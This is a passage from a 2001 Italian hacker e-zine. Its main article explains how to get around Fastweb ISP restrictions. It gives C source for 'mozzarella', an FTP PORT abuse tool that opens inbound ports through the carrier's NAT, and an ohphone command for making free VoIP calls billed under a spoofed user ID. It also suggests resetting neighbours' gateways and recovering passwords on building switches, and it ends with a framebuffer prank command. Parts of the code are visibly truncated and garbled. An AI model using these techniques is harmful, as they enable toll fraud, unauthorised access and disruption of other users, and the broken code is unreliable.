http://www.bieringer.de/linux/IPv6/ e naturalmente le RFC fondamentali (non obsolete): - RFC 2460 "Internet Protocol, Version 6 (IPv6) Specification" - RFC 2461 "Neighbor Discovery for IP Version 6 (IPv6)" - RFC 2373 "IP Version 6 Addressing Architecture" - RFC 2463 "ICMP for the Internet Protocol Version 6 (IPv6)" grazie per l'attenzione!, alla prossima. <--Kundera--> <-- Digital Skull's BBS SySop --> <-- +39-2-93163367 8N1 Ansi 24h/24h --> http://dskull.tzone.it Email: kundera@tiscalinet.it ============================================================================== --------------------------------[ EOF 12/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-130100644000175000017500000011136407355704712012640 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 13 di 18 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ i0 FASTWEB E TU? -----[ naif "Le opinioni e le informazioni espresse nel presente documento appartengono all'autore e non ad aziende: esse non rappresentano in alcuno modo idee, politiche aziendali o servizi specifici se non il pensiero e l'esperienza dell'autore stesso. Il disclaimer standard si applica al presente documento, in particolare modo per la non responsabilita' dell'autore, naif, verso qualunque tipo di danni - causati direttamente o indirettamente e conseguenti alla lettura del presente documento e/o all'utilizzo illegale o fraudolento delle informazioni e/o funzionalita' ivi contenute. naif non si assume alcuna responsabilita' per i contenuti di questo documento e cosi' come di eventuali errori od omissioni e o di qualunque documento, prodotto o servizio da esso derivati, indirettamente o meno. Il presente documento puo' essere liberamente distribuito, pubblicato o copiato con ogni mezzo disponibile a patto che lo stesso non venga modificato in alcun modo e previa autorizzazione scritta dell'autore. E' assolutamente vietato appropriarsi della proprieta' intellettuale dell'opera, ovverosia spacciarsi per l'autore, tradurre questo articolo in altre lingue appropriandosene la paternita' o estrapolare singoli paragrafi spacciandosi per l'autore degli stessi." - Eccomi qui, che sono in ufficio al 10 Luglio e c'e' ben poca gente, e allora, visto che non ho nulla di meglio da fare, mi metto a spiegare come funziona Fastweb, che restrizioni impone a noi utenti Residenziali sfigati, e naturalmente come bypassarle ringraziando naturalmente mamma Cisco x come lavora da cane. - Tra Hackers At Large e vacanze varie, rieccomi che riprendo questo articolo al 25 Agosto con l'intento pero' di aggiungerci cio' che non avrei voluto aggiungerci: dopo 30 minuti di litigata con l'ufficio reclami di Fastweb, penso sia il caso di avviare un sano sputtanamento. - E dopo che non ho fatto un cazzo per un altro bel po' di tempo, mi ritrovo nuovamente a scrivere qui perche' smaster mi ha detto che dobbiamo uscire sabato e io dopo parecchi mesi non ho ancora finito questo articolo. Indice 1. Introduzione 2. Come Funziona Fastweb ( Contratto Residenziale ) 2.1 La rete 2.2.1 Il Cisco Router in casa 2.2.2 Il CPV ( Home Access Gateway ) 3. Problemi e restrizioni della rete Fastweb 3.1 Connessioni DATI via modem 3.2 Limite di 5 MAC Address per porta 3.3 Comunicazione Fastweb <---> Fastweb + Sicurezza 3.4 Comunicazione Internet <---> Fastweb 3.5 Timeout connessioni TCP idle 4. Come ti offro servizi su rete Fastweb 4.1 Come funziona l'FTP 4.2 mozzarella.c - La Teoria 4.3 mozzarella.c - La Pratica 4.4 mozzarella.c - Il Codice 4.5 Idee malate 5. La nuova frontiera del phreaking: Voice Over IP 5.1 phreaking in rete Fastweb 1. Introduzione Fastweb e' il primo fornitore di accesso a "banda larga", 10MB, in Italia, che ha iniziato l'anno scorso a offrire servizi a Milano sfruttando l'infrastruttura in fibra di e-biscom (a tutti gli effetti Fastweb e' di e-biscom), che si sta espandendo a Roma e ha come progetto finale di ritrovarsi una rete con copertura nazionale. Fastweb offre servizi di connettivita' a internet, nonche' telefonia, sfruttando pero' la rete IP tramite VoIP (protocollo h323). Nell'offerta di base (almeno in quella che ho io, ora non so se qualcosa e' cambiato) sono inclusi: - Collegamento a internet 10Mbit/s - Chiamate verso utenti Fastweb gratuite - 4 ore di telefonate locali al mese (non cumulabili) - 2 ore di telefonate nazionali al mese (non cumulabili) - Account di posta per ogni membro della famiglia (max. 6) - Massimo 3 computer collegabili alla rete 2. Come funziona Fastweb ? ( Contratto Residenziale ) Fastweb ha realizzato una MAN (Metropolitan Area Network), praticamente una enorme rete locale (LAN) in fibra su scala metropolitana. 2.1 La rete Nella rete Fastweb la suddivisione di essa e' effettuata in Citta' (Milano) Pop (zona della citta', io sono nella "ovest" ), Minipop (id numerico), Area Elementare (id numerico), Progessivo Edificio (Id numerico). Dallo switch della sede centrale partono cavi in fibra ottica che terminano su i Router di zona (Pop), su cui terminano e ripartono link in fibra verso gli Switch Cisco Cayalyst di quartiere (Minipop). Da questi, i link arrivano fino allo "switch condominiale" che non e' altro che un catalyst che opera a Layer2 che viene installato nella cantina del vostro palazzo ed e' il punto dove termina la fibra e partono i cavi ethernet (1 per ogni cliente) su per il palazzo, terminandovi in casa su una porta rj-45. Questi Switch sono solitamente inseriti in box difficilmente "apribili", ma che, in determinate occasioni, danno la possibilita' a chiunque con un po' di pazienza di aprirli, fare password recovery e averne accesso "non autorizzato". L'indirizzamento viene normalmente gestito tramite DHCP, che assegna a noi, poveri utenti residenziali, ip in classe 10.x.x.x (anche se mi e' stato confermato da alcuni anche ip sulla classe 1.1.x.x, PURA ANARCHIA), mentre con uno sniffer, vediamo tranquillamente il traffico multicast EIGRP e HSRP generato dai router in classe 172.x.x.x : 19:24:12.372791 172.xx.xx.2 > 224.0.0.10: ip-proto-88 40 [tos 0xc0] (ttl 2, id 0, len 60) 19:24:13.132349 172.xx.xx.3 > 224.0.0.10: ip-proto-88 40 [tos 0xc0] (ttl 2, id 0, len 60) 19:24:10.004537 172.xx.xx.2.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48) 19:24:11.536225 172.xx.xx.3.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48) 19:24:12.944679 172.xx.xx.2.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48) HSRP sta per "Hot Standby Router Protocol" ed e' utilizzato dai router cisco per gestire configurazioni in failover, per cui un router e' master e l'altro e' slave e se il primo fallisce il secondo si attiva. EIGRP sta per "Enhanced Interior Gateway Routing Protocol" ed e' un protocollo di routing proprietario cisco che supporta il VLSM e altre funzionalita' tipiche dei protocolli di routing Link-State moderni. Proprio molto interessante e' quest'ultima classe, dove troviamo al .1 .2 e .3 i router, mentre dal .5 in su ci sono gli IP dei CPV. Su internet si esce tramite PAT (Port Address Translation), la tecnologia di NAT che su linux si chiama MASQUERADING (piu' ip interni, escono su un solo ip esterno), facendo uscire intere zone con un unico ip pubblico su internet. Ovviamente e' possibile effettuare solo connessioni dall'interno verso l'esterno, e solo tcp e udp. 2.2.1 Il Cisco Router in casa Inizialmente nelle nostre case, veniva posto un Cisco 2600 con schede VoIP, che, tramite password recovery, rivelava interessanti dettagli sulla configurazione, quali i gateway h323, i codec utilizzati in ordine di priorita' (G.729, G.711, G.722), nonche' username e password degli sfigatissimi consulenti IBM che venivano a installare le apparecchiature. Attualmente questo viene installato solo nei contratti aziendali da lire 250.000, lira +, lira -. 2.2.2 Il CPV ( Home Access Gateway ) Una volta pronti in serie i CPV (chiamati da Fastweb Home Access Gateway), hanno iniziato a montare questi graziosi dispositivi hardware, delle dimensioni di un una scatola di Ferrero roche', che hanno le caratteristiche che potete trovare sul sito del produttore telsey: http://www.telsey.it/sheet.asp?ID=CPV Le sue funzioni sono essenzialmente 2: - Funziona da "hub" per i pc domestici - Funziona da proxy h323, in questo modo noi possiamo collegare fino a 2 normali telefoni alle sue prese rj-11, e lui pensera' a far viaggiare la vostra voce su IP al + vicino gatekeeper. N.B.: Notare la feature "Tracking call for security", il che significa che sono gia' predisposti per consentire le intercettazioni... Questi simpatici aggeggini sono gestibili via SNMP mentre via web e' possibile visualizzarne la configurazione e, meraviglia delle meraviglie, "resettarli" (e qui c'e' solo il primo dei possibili Denial Of Service che potreste fare al vostro vicino di casa che vi rompe le palle perche' avete la musica troppo alta e lui sta telefonando). AGGIORNAMENTO: ho notato che nel nuovo firmware chiede una password per resettarli, ma ovviamente avrete gia' capito quale e'. 3. Problemi e restrizioni della rete Fastweb Nonostante Fastweb sia stata avvertita dei problemi che ora vi esporro', sembrerebbe che di utenti che notano queste cose siano 1 su 10000, mentre i restanti 9999 si godono i filmatini in streaming ASF, e scaricano mp3 400k/s, felici di avere quei 10Mb sotto al culo. 3.1 Connessioni DATI via modem Essendo il sistema telefonico basato su una architettura VoIP, i collegamenti dati funzionano solo con alcuni modem, come mi e' stato confermato dall'helpdesk Fastweb, e a basse velocita'. Quindi, se tra di voi c'e' ancora qualche fanatico del wardialing (consiglio sempre di rifarsi periodicamente 800-89-XXXX), evitate di eliminare il contratto con un operatore fisso, in quanto le vostre connessioni dati faranno pena. ATTENZIONE, RICORDATE CHE IN CASO DI EMERGENZA, SE VA VIA LA CORRENTE, NON POTRETE EFFETTUARE CHIAMATE DI EMERGENZA PERCHE' IL CPV SI SPEGNERA', IDEM PER LO SWITCH IN CANTINA. 3.2 Limite di 5 MAC Address per porta A quanto pare, quei furboni di fastweb sui Cisco Catalyst in cantina hanno fatto si' che per ogni porta tutti i mac address in transito vengono registrati e al sesto che incontrano mettono in shutdown l'interfaccia. A me quando si e' rotta la scheda PCMCIA del portatile, una volta montata la nuova e' andata giu' la rete, ho chiamato l'helpdesk fastweb, che mi ha spiegato la situazione, e io mi sono incazzato come un'ape. Quando ho cambiato lavoro, nuovo notebook, lo collego e mi va giu' di nuovo la rete. Unica soluzione: avere una macchina che fa da Firewall facendo nat su un ip interno Fastweb, ma ovviamente una doppia NAT prima di arrivare su internet aggiunge notevoli problemi nel capire dove intervenire quando qualcosa non funziona. 3.3 Comunicazione Fastweb <---> Fastweb + Sicurezza Nonostante non tutte le reti interne siano raggiungibili fra di loro, una grossa parte lo e', ed e' facile incontrare parecchie lan di varie aziende completamente "sbragate" in quanto il link interno "fastweb" non viene visto come un rischio e l'idea di un firewall non sembra opportuna (come i link x.25 o i RAS messi su numeri verdi d'altronde). Sarebbe inoltre carino creare delle comunita' virtuali sfruttando la rete interna Fastweb (io lancio l'idea, chi la raccoglie mi contatti...). 3.4 Comunicazione Internet <---> Fastweb Noi possiamo collegarci a internet, ma utenti internet non possono collegarsi verso di noi, e qui non ci sono piu' i soliti problemucci idioti stile "non ho un ip fisso" che alla fine si risolve con dynamic dns, ma il problema e' proprio strutturale e la risoluzione di questo e' uno dei due punti "caldi" dell'articolo. 3.5 Timeout connessioni TCP idle Questo problema, probabilmente non verra' riscontrato da tutti, ma comunque da molti, in quanto non in tutte le zone e' stata fatta questa modifica da quei deficienti di fastweb. A quanto pare, dato che tutte le connessioni effettuate sono inserite nella tabella di connessioni del router di fastweb, loro possono gestirle come gli pare e hanno impostato che il timeout di qualsiasi connessione TCP che sia "idle" per 60 secondi viene automaticamente resettata (nel senso che manda un RST a tutti e 2 i peer della comunicazione). Questo comporta "parecchi svantaggi"... tanto per elencarne qualcuno: - Se siete su irc, ogni 60 secondi di idle venite disconnessi. - Se lavorate in ssh/telnet su un terminale dopo 60 secondi venite disconnessi. - Se scaricare un file via ftp senza avere "hash" attivo, e impiegate piu' di 60 secondi per scaricare un file, la connessione di controllo viene resettata e il piu' dei client ftp "si impallano". 4. Come ti offro servizi su rete Fastweb Come descritto precedentemente, uscendo tutti quanti in PAT, non abbiamo modo di permettere connessioni in ingresso e quindi avere il nostro sito web con il mirror di ftp.kernel.org o quello che vi pare. Durante un viaggio in treno con recidivo verso verona, andando a casa di cyrax, mi e' venuto il flash, l'illuminazione! La madonna si e' presentata davanti a me e mi ha sussurrato nell'orecchio "hey naif, usa l'ftp..." . Oh yeah! Grazie dio, tu si' che hai capito tutto! L'implementazione pratica di questo giochino e' stata fatta con XXXXXX (non vuole fare sapere il suo nome... posso capirlo), con scleri notevoli per fare tunnel pppd over ssh, port forwarding, masquerading e minchiate varie, il tutto per poterlo fare collegare sulla mia macchina di casa passando dalla mia box in ufficio. Prima di tutto e' necessario spiegare in poche righe come funziona una connessione FTP... 4.1 Come funziona l'FTP L'ftp e' un protocollo che utilizza 2 canali, uno per i comandi e uno x trasferire i file che a sua volta opera in diverse modalita' (attiva e passiva), e la gestione di questo da parte dei firewall e' sempre stata molto complessa, e ha spesso rivelato interessanti modi per bypassarli. Nella modalita' attiva il client comunica al server una porta locale a cui quest'ultimo dovra' collegarsi per inviare/ricevere file. Nella modalita' passiva il client comunica al server di volere utilizzare questa modalita' tramite il comando PASV, e a questo punto il server gli risponde indicando la porta a cui il client dovra' collegarsi per inviare/ricevere file. A noi interessa mostrare il funzionamento della modalita' attiva per cui una normale sessione avviene in questo modo: Client: 192.168.1.4 Server: 172.16.1.9 Il client si collega all'ftp server sulla porta 21/tcp dove invia tutti i comandi e riceve le relative risposte: Canale di controllo Client ----------------> 21/tcp Server USER pinco ----------------> <--------------- 331 Insert your password please. PASS pallino ---------------> <--------------- 230 Password correct, Thanks! Ora i comandi per scaricare il file in /pub/test_file utilizzando la modalita' attiva: PORT 192,168,1,4,100,99 -------------> <------------- 200 PORT command successful. RETR /pub/test_file --------------> <------------- 150 Opening BINARY mode data connection for test_file A questo punto il server FTP si colleghera' alla porta 25699/tcp di 192.168.1.4 per inviargli il file. 172.16.1.9:$RANDOM ----------------> 192.168.1.4:25699 * Nota: il formato del comando PORT e': n1,n2,n3,n4,z1,z2 dove n* e' un ip che al posto dei punti ha le virgole, e dove z1 e z2 vengono utilizzati per calcolare la porta di destinazione nel formato: ( z1*256 + z2 ) . Bella merda l'ftp vero? Ora che abbiamo capito come funziona la modalita' attiva, pensiamo a come i router e i firewall devono gestire questo complesso processo quando c'e' di mezzo la NAT considerando tutti i problemi che derivano dal fatto che: 1 - Quando il client lancia il comando PORT utilizza un IP interno che deve essere riscritto e non e' un semplice header, ma un comando nel payload del pacchetto che deve essere parsato. 2 - Quando la mappatura non e' one-to-one, ma si usa il PAT, potrebbero "teoricamente" esserci altri utenti che lanciano un comando PORT con la stessa porta di destinazione, che andrebbe eventualmente riscritta anch'essa. 3 - Se io lancio un comando PORT dall'interno, dovrebbe potersi collegare a me solo e soltanto il server a cui io ho lanciato questo comando. 4 - Quando lancio un comando PORT, il router dovrebbe permettere il canale di ritorno solo dopo avere ricevuto un bel return code "200 PORT command successful" dal server. Naturalmente alcune di queste cose non si verificano nel modo corretto, in particolare a noi interessano i punti 3 e 4 ed e' cosi' che andiamo a capire come montare un webserver sfruttando i 10MB dell'abbonamento residenziale Fastweb. 4.2 mozzarella.c - La Teoria Da come avrete gia' capito, il nome del programma che e' stato creato per svolgere questo compito e' "mozzarella", di cui ne andiamo a spiegare il funzionamento. Quando si apre una connessione FTP in modalita' attiva, come avete letto prima, il client si collega al server per lanciare i comandi, mentre per la connessione DATA e' il server a collegarsi al client. Quando io, utente Fastweb, mi collego a un ftp server e scarico un file, il cisco router che mi presenta su internet si preoccupera' di riscrivere il comando PORT e di consentire una connessione dall'ftp server a me, aprendo un canale temporaneo fra IP_DI_PAT:PORTA ------> MIO_IP_INTERNO:PORTA . WOW, quindi un modo per offrire servizi esiste! Ovviamente Cisco, a seguito di un comando PORT, permette la connessione verso IP_DI_PAT:PORTA da qualunque host, per cui se io configuro un web server sulla mia porta 30000, mi collego in ftp a un qualsiasi ftp server e lancio il comando PORT con ultimi parametri 115,560 (che appunto fa' (115*256=29440) + 560 = 30000 ), chiunque da internet potra' aprire una connessione verso la porta 30000/tcp dell'ip di PAT. Abbiamo ora capito come funziona, ma ovviamente un servizio web richiede l'apertura di piu' connessioni contemporanee da parte del browser, quindi si rende necessario utilizzare piu' ftp server e sopratutto piu' connessioni verso cui lanciare costantemente i comandi PORT. Da test effettuati sul campo sono riuscito a consentire l'inizializzazione di circa 10 connessioni al secondo con una perdita di 2 connessioni su 632 utilizzando 3 ftp server remoti con 3 connessioni per ogni ftp server lanciando 4 comandi PORT al secondo. Quindi con: - 9 connessioni tcp - 3 ftp server - 36 PORT/secondo riusciamo a consentire in ingresso: - 10 connessioni/secondo Inoltre, in benchmark da me fatti ho avviato alcune sessioni e sono arrivato a 41 sessioni established generando un troughput di 1200kbit/s. root@XXXXX:~# netstat -na|grep 30000 | grep -c ESTABLISHED 41 4.3 mozzarella.c - La Pratica Nella realta' pero', utilizzare "mozzarella" richiede per comodita' l'utilizzo di un server esterno dato che non possiamo consentire connessioni su porte <=1023 e per qualche motivo strano, su cui non abbiamo voglia di approfondire, solo =>30000. Proprio per questo motivo e' difficile dare in giro l'url di un sito dicendo che e' qualcosa tipo http://www.sito.com:30000 ed allora conviene appoggiarsi a un qualsiasi web server esterno, su cui mettere un redirect verso http://IP_DI_PAT:PORTA . Bisogna inoltre rendersi conto che inviare 36 PORT/s a un ftp server, puo' dare fastidio al sysadmin di questo ftp server: rispettate la netiquette e fatevi installare un ftp server "finto" da qualche vostro amico. L'help di mozzarella penso sia sufficientemente esplicativo: Usage: ./mozzarella [-h][-u username -p password][-a][-H host] [-P port_to_open][-L localhost] -h this help -u username for ftp -p password for ftp -H ftp host -L your local ip -P the port to bounce -a use anonymous ftp -r number of PORT commands to send for each server any second -i number of session for ftp 4.4 mozzarella.c - Il Codice <-| mozzarella.c |-> /* L'autore non e' conosciuto e comunque non si assume alcuna responsabilita' per l'utilizzo di questo programma che viene distribuito senza alcuna garanzia e per puri scopi educativi. Tale programma e' distribuito sotto la licenza GPL presente all'url: http://www.gnu.org/licenses/gpl.html Benchmark: 3 servers, 3 instances per server, 10 connections/second, 2 dropped on 632 :) */ #include #include #include #include #include #include #include #include #include #include #include #define ONESEC 1000000 /* usecs :) */ #define ANONPWD "modella@lamozzerlla.fastweb.sux" unsigned long int resolv(char *host) { unsigned long int ip; struct hostent *he; ip = inet_addr(host); if(ip != -1) return ip; he = gethostbyname(host); if(he != NULL) { memcpy(&ip, he->h_addr, sizeof(unsigned long int)); return ip; } fprintf(stderr, "Cannot resolve %s\n", host); perror("gethostbyname"); } int /* -1: EOF, 0: not endline, 1: endline */ ftp_readline(char *buf, int maxsz) { int islast = 0; if(!fgets(buf, maxsz, stdin)) return -1; if(buf[3] == ' ') islast = 1; while(!strchr(buf, '\n')) if(!fgets(buf, maxsz, stdin)) return islast; return islast; } int ftp_connect(char *host, int port) { int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in sin; if(s<0) { perror("socket"); return -1; } sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = resolv(host); if(sin.sin_addr.s_addr == -1) { close(s); return -1; } if(connect(s, (struct sockaddr *)&sin, sizeof(sin))<0) { perror("connect"); close(s); return -1; } return s; } int ftp_status(char *s) { char p[5]; memcpy(p, s, 4); p[4] = 0; return atoi(p); } int ftp_login(char *u, char *p) { char buf[4096]; int r; while(!(r = ftp_readline(buf,sizeof(buf)))) ; if(r < 0) { fprintf(stderr, "Error reading from socket..\n"); return -1; } printf("USER %s\r\n", u); fflush(stdout); if((r = ftp_readline(buf, sizeof(buf)))<0) { fprintf(stderr, "Error reading from socket..\n"); return -1; } if(ftp_status(buf) == 230) return 0; if(ftp_status(buf) != 331) { fprintf(stderr, "Error logging in : %s\n", buf); return -1; } if(!r) { while(!(r = ftp_readline(buf, sizeof(buf)))) ; if(r < 0) fprintf(stderr, "Error reading from socket...:%s\n", buf); return -1; } printf("PASS %s\r\n", p); fflush(stdout); if((r = ftp_readline(buf, sizeof(buf)))<0) { fprintf(stderr, "Error reading from socket..\n"); return -1; } if(ftp_status(buf) == 230) { if(!r) while(!(r = ftp_readline(buf, sizeof(buf)))) ; return 0; } fprintf(stderr, "Error loggin in: %s\n", buf); return -1; } void splitip(char *host, int *v) { struct in_addr tmp; char *stmp, *q; tmp.s_addr = resolv(host); stmp = strdup(inet_ntoa(tmp)); q = strtok(host, "."); v[0] = atoi(q); q = strtok(NULL, "."); v[1] = atoi(q); q = strtok(NULL, "."); v[2] = atoi(q); q = strtok(NULL, "."); v[3] = atoi(q); free(stmp); } int ftp_port(int ip[4], int port) { char dummy[1024]; int i; printf("SYST\r\n"); printf("PORT %u,%u,%u,%u,%u,%u\r\n", ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF); #ifdef VERBOSE fprintf(stderr, "PORT %u,%u,%u,%u,%u,%u\r\n", ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF); #endif fflush(stdout); if(ftp_readline(dummy, sizeof(dummy))<0) return -1; else return 0; }; int create_instances(int num, char *host, int fport, char *u, char *p, int *lip, int port, int pps) { int masterpid = getpid(), new; while(num) { new = fork(); if(new == 0) return childmain(host,fport,u,p,lip,port); usleep(ONESEC/3); num--; } } int main(int argc,char **argv) { int c; int port = -1,anonymous=0, ftpport=21,instances=3,hostnum=0, pps = 4; char *host[256], *pass=NULL, *local=NULL, *user = NULL, *s; int local_ip[4]; while((c = getopt(argc, argv, "i:hu:p:aH:P:L:S:r:"))!=EOF) switch(c) { case 'r': pps = atoi(optarg); break; case 'i': instances = atoi(optarg); break; case 'u': user = optarg; break; case 'p': pass = optarg; break; case 'H': if(hostnum==256) { printf("No more space\n"); break; } host[hostnum++] = optarg; break; case 'a': anonymous = 1; break; case 'P': port = atoi(optarg); break; case 'L': local = optarg; break; case 'h': default: printf("Usage: %s [-h][-u username -p password][-a][-H host][-P port_to_open][-L localhost]\n", argv[0]); printf("\t-h this help\n"); printf("\t-u username for ftp\n"); printf("\t-p password for ftp\n"); printf("\t-H ftp host\n"); printf("\t-L your local ip\n"); printf("\t-P the port to bounce\n"); printf("\t-a use anonymous ftp\n"); printf("\t-r number of PORT commands to send for each server any second\n"); printf("\t-i number of session for ftp\n"); printf("You can specify MORE -H switches.\n"); exit(1); break; } if(!anonymous && (!user||!pass)) { printf("User and/or password missing AND anonymous mode not specified\n"); exit(1); } if(!host || port <0) { printf("FTP host or port not specified\n"); exit(1); } splitip(local, local_ip); if(anonymous) { user = "anonymous"; pass = ANONPWD; } for(c = 0; c 4.5 Idee malate Si pensava anche a un'altra idea malata possibile avendo a disposizione 2 link, uno con Fastweb e uno con un altro carrier (magari una adsl sfigata), per offrire anche un servizio di FTP con routing asincrono (EHHHHHHHHH PAROLONEEEEEEEE!!!). Cioe': pensiamo al client che si collega all'ftp server sull'IP pubblico della ADSL ed e' costretto ad utilizzare la modalita' passiva. In questo modo e' il server a dire al client: "". E se io modifico l'ftp server affinche', tramite mozzarella, mi apra una porta sul mio IP di PAT sul link con Fastweb e risponda al comando "PASV" del client con un bel: 227 Entering Passive Mode (MIO,IP,DI,PAT,+LA,PORTA) ? Vuole dire che avremo un bell'FTP server asimmetrico che gestisce la connessione di controllo su un canale(l'adsl o flat che sia), mentre ne impiega un altro per il canale DATI (Fastweb). Se qualcuno implementa questa cosa me lo faccia sapere :) 5. La nuova frontiera del phreaking: Voice Over IP Volevo, in questo paragrafo, fare una piccola riflessione sul fenomeno del phreaking in Italia negli ultimi anni... Prima si boxava x andare su BBS, Party Line e reti X.25 . Quanti di voi ricordano i country direct, le blue box, e quelle dolci sessioni che suonavano cosi': Guatemala Buenas Dias? Tiri, Tiri', tuuuuuuuuuuuuu e si faceva Wardialing a manetta su 16789XXXX (Range su cui era ed e' pieno di numeri che rispondono dall'altra parte del globo) per trovare paesi C5 e/o carrier di ogni tipo. Poi tutto questo e' passato, i sistemi telefonici C5 praticamente sono rimasti in ben pochi e boxabili solo da alcuni paesi, le reti X.25 non se le caga piu' nessuno, e allora ci siamo messi tutti felicemente a fare wardialing per bucare i peggio sistemi, raggiungere le intranet delle societa' piu' fighe del mondo, scoprendo segreti inimmaginabili. Passato questo periodo, e arrivata internet, c'e' stata una MOLE DI GENTE ENORME che faceva wardialing per trovare i "GreenZ", numeri verdi per collegarsi a internet e irc pullulava di gente che faceva trading di questi numeri. Oggi anche questo periodo e' passato e la gente se ne sbatte di fare wardialing, tanto ci sono le FLAT (con cui la gente ci prende belle denuncie, vedi Galactica e Edisontel incazzati) e c'e' la Broad Band della ADSL (su cui nessuno ha ancora porcheggiato con l'ATM... coraggio ragazzi, dateci dentro che le reti ATM sono tutte da smontare). E Il phreaking adesso? Si' certo, c'e' ancora una elite (e qui non intendo il termine l33t, ma intendo proprio POCHI) di persone che si dilettano sui numeri verdi e su X.25 facendo i blackhat alla grande, ma il resto delle persone ha completamente dimenticato il phreaking per colpa dell'IP. SVEGLIA!!!!!!!!! Andiamo a fare phreaking su IP con il Voice Over IP!!!! Ma avete visto Fastweb? Ma avete visto Voispring di Tiscali e numerosi altri servizi basati sulla suite di protocolli H323 ? Mi aspetto che noi Italiani daremo una smossa alla scena mondiale del phreaking, quindi iniziate ad andare su http://www.openh323.org, leggetevi gli standard sull'H323, createvi il vostro centralino VoIP, e fatevi chiamare da qualche amico. 5.1 phreaking in rete Fastweb Ma rieccoci qui a parlare di fastweb e vedere come fare phreaking nella sua rete. Premesso che il phreaking non e' la mera azione di "chiamare gratis", ma e' l'esplorazione del funzionamento dei sistemi telefonici e di quelli ad essi strettamente correlati, andiamo a vedere un filo come funziona la telefonia di Fastweb. Come ho spiegato in precedenza, il CPV incorpora le funzioni di proxy h323, permettendovi di collegare ad esso un normalissimo telefono (con uscira rj-11) e ricevere e fare telefonate in modo completamente trasparente alla infrastruttura tecnologica che c'e' sotto. Ovviamente a noi proprio quella interessa... Quando voi alzate la cornetta, il CPV si collega immediatamente al gatekeeper VoIP, che nel nostro caso e' un Cisco Router con un IOS (Internet Operating System) "speciale", che si occupera' di instradare le chiamate lungo il percorso migliore. Ovviamente se effettuate una chiamata verso una utenza Fastweb, questa rimarra' su IP, e sara' routata verso il CPV di destinazione, mentre se e' verso una utenza Fissa o Mobile, Fastweb provvedera' a instradare la chiamata su rete GSM o verso il carrier telefonico giusto. Ma ora chiediamoci: Come fa Fastweb a fare l'operazione di "accounting", ovvero sapere quante e quali telefonate facciamo in modo da farci pervenire la bolletta a casa? La risposta e' anche il modo con cui noi andremo a telefonare gratis... Dovete sapere che quando si effettua una chiamata VoIP, e' necessario identificarsi sul gatekeeper con uno "userid" ed eventualmente con una "password" (ma non obbligatoriamente). Come avrete intuito fastweb basa tutto sul solo "userid" che in questo caso e' il vostro numero di telefono su rete Fastweb, mentre, come nota, nelle infrastrutture VoIP "serie" chiunque viene identificato con la propria email e per effettuare le chiamate deve autentificarsi sul gatekeeper con una password. Ma allora cosa succede se noi proviamo a utilizzare software che supportano l'H323 come ohphone del progetto Openh323, o linphone (http://simon.morlat.free.fr/english/linphone.html) o ancora netmeeting sotto windows per collegarsi al gatekeeper usando come userid la la parola "OsamaBinLaden"? root@somewhere:~# ./ohphone_1.1pl1 -r -u OsamaBinLaden -t -g IP.DEL.GATE.KEEPER NUMERO_DA_CHIAMARE. Gatekeeper set: nome_del_gatekeeper@IP.DEL.GATE.KEEPER OsamaBinLaden is calling host NUMERO_DA_CHIAMARE Command ? 0:05.836 H225CallThread:83f4680 transports.cxx(1023) TCP Started connection to IP.DEL.GATE.KEEPER:1720 (if=10.xxx.xxx.xx:1062) Started logical channel: sending G.711-ALaw-64k{sw} <4> Started logical channel: receiving G.711-ALaw-64k{sw} <4> Ringing phone for "IP.DEL.GATE.KEEPER" ... Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!!!!!!! Ci siamo loggati sul gatekeeper e stiamo facendo una chiamata addebitando il costo della chiamata all'utente OsamaBinLaden (e spero che fastweb gli mandi una bolletta salata!). Scusate se ho nascosto IP.DEL.GATE.KEEPER e 10.xxx.xxx.xx, ma potete anche capire il perche'... Allora, diciamo che mi sono anche rotto le palle di scrivere e vi esorto TUTTI ad approfondire il funzionamento del VoIP, prendendo tutto il materiale disponibile da http://www.openh323.org e altri siti. Studiare l'h323 e' anche un po' una sfida perche' per avere gli standard che sono ITU, si dovrebbe sborsare dai 20$ ai 100$ e non si possono comunque redistribuire tali documenti. Good Luck! -- Bibbliogafia Per approfondire il funzionamento dell'ftp "in pratica" leggete l'ottimo paper di D. J. Bernstein su: http://cr.yp.to/ftp.html Per approfondire il funzionamento dell'EIGRP: http://www.cisco.com/warp/public/103/1.html Per approfondire il funzionamento dell'HSRP: http://www.cisco.com/warp/public/619/index.shtml Per approfondire il funzionamento dell'H323: http://www.openh323.org/standards.html Si ringrazia: vim Si salutano: TUTTI (non ho voglia di scrivere i nomi di chi merita di essere salutato altrimenti se me ne scordo qualcuno poi vengo linciato). Se usate il Frame Buffer sotto linux provate ad eseguire cat /dev/urandom >> /dev/fb0 naif ============================================================================== --------------------------------[ EOF 13/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-140100644000175000017500000020730507355704712012642 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 14 di 18 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ ALCATEL SPEED TOUCH: DEMYSTiFiED -----[ neuro noxious - http://www.olografix.org http://www.spaghettihacker.it Alcatel Speed Touch: demystified. Stefano 'NeURo' Chiccarelli Davide 'NoXiouS' Palusci metro olografix members http://www.olografix.org - LA STORIA Il 10 Aprile 2001 Tom Perrine posta su BUGTRAQ un advisor dal titolo "multiple vulnerabilities in Alcatel Speed Touch DSL modems" nel quale riporta una ricerca condotta da Shimomura sui modem Alcatel Speed Touch Home. All'interno di questo advisor si mettono in evidenza alcuni problemi di sicurezza del modem e in particolare una modalita' EXPERT utilizzabile anche come backdoor. http://security.sdsc.edu/self-help/alcatel/alcatel-bugs.html Questa informazione fa subito il giro del mondo, ed in risalto c'e' la backdoor EXPERT sicuramente molto significativa, ma scopriremo che non e' l'unica sorpresa che ci ha fatto Alcatel. C'e' da dire che noi stavamo lavorando su un advisor relativo ad altre problematiche di 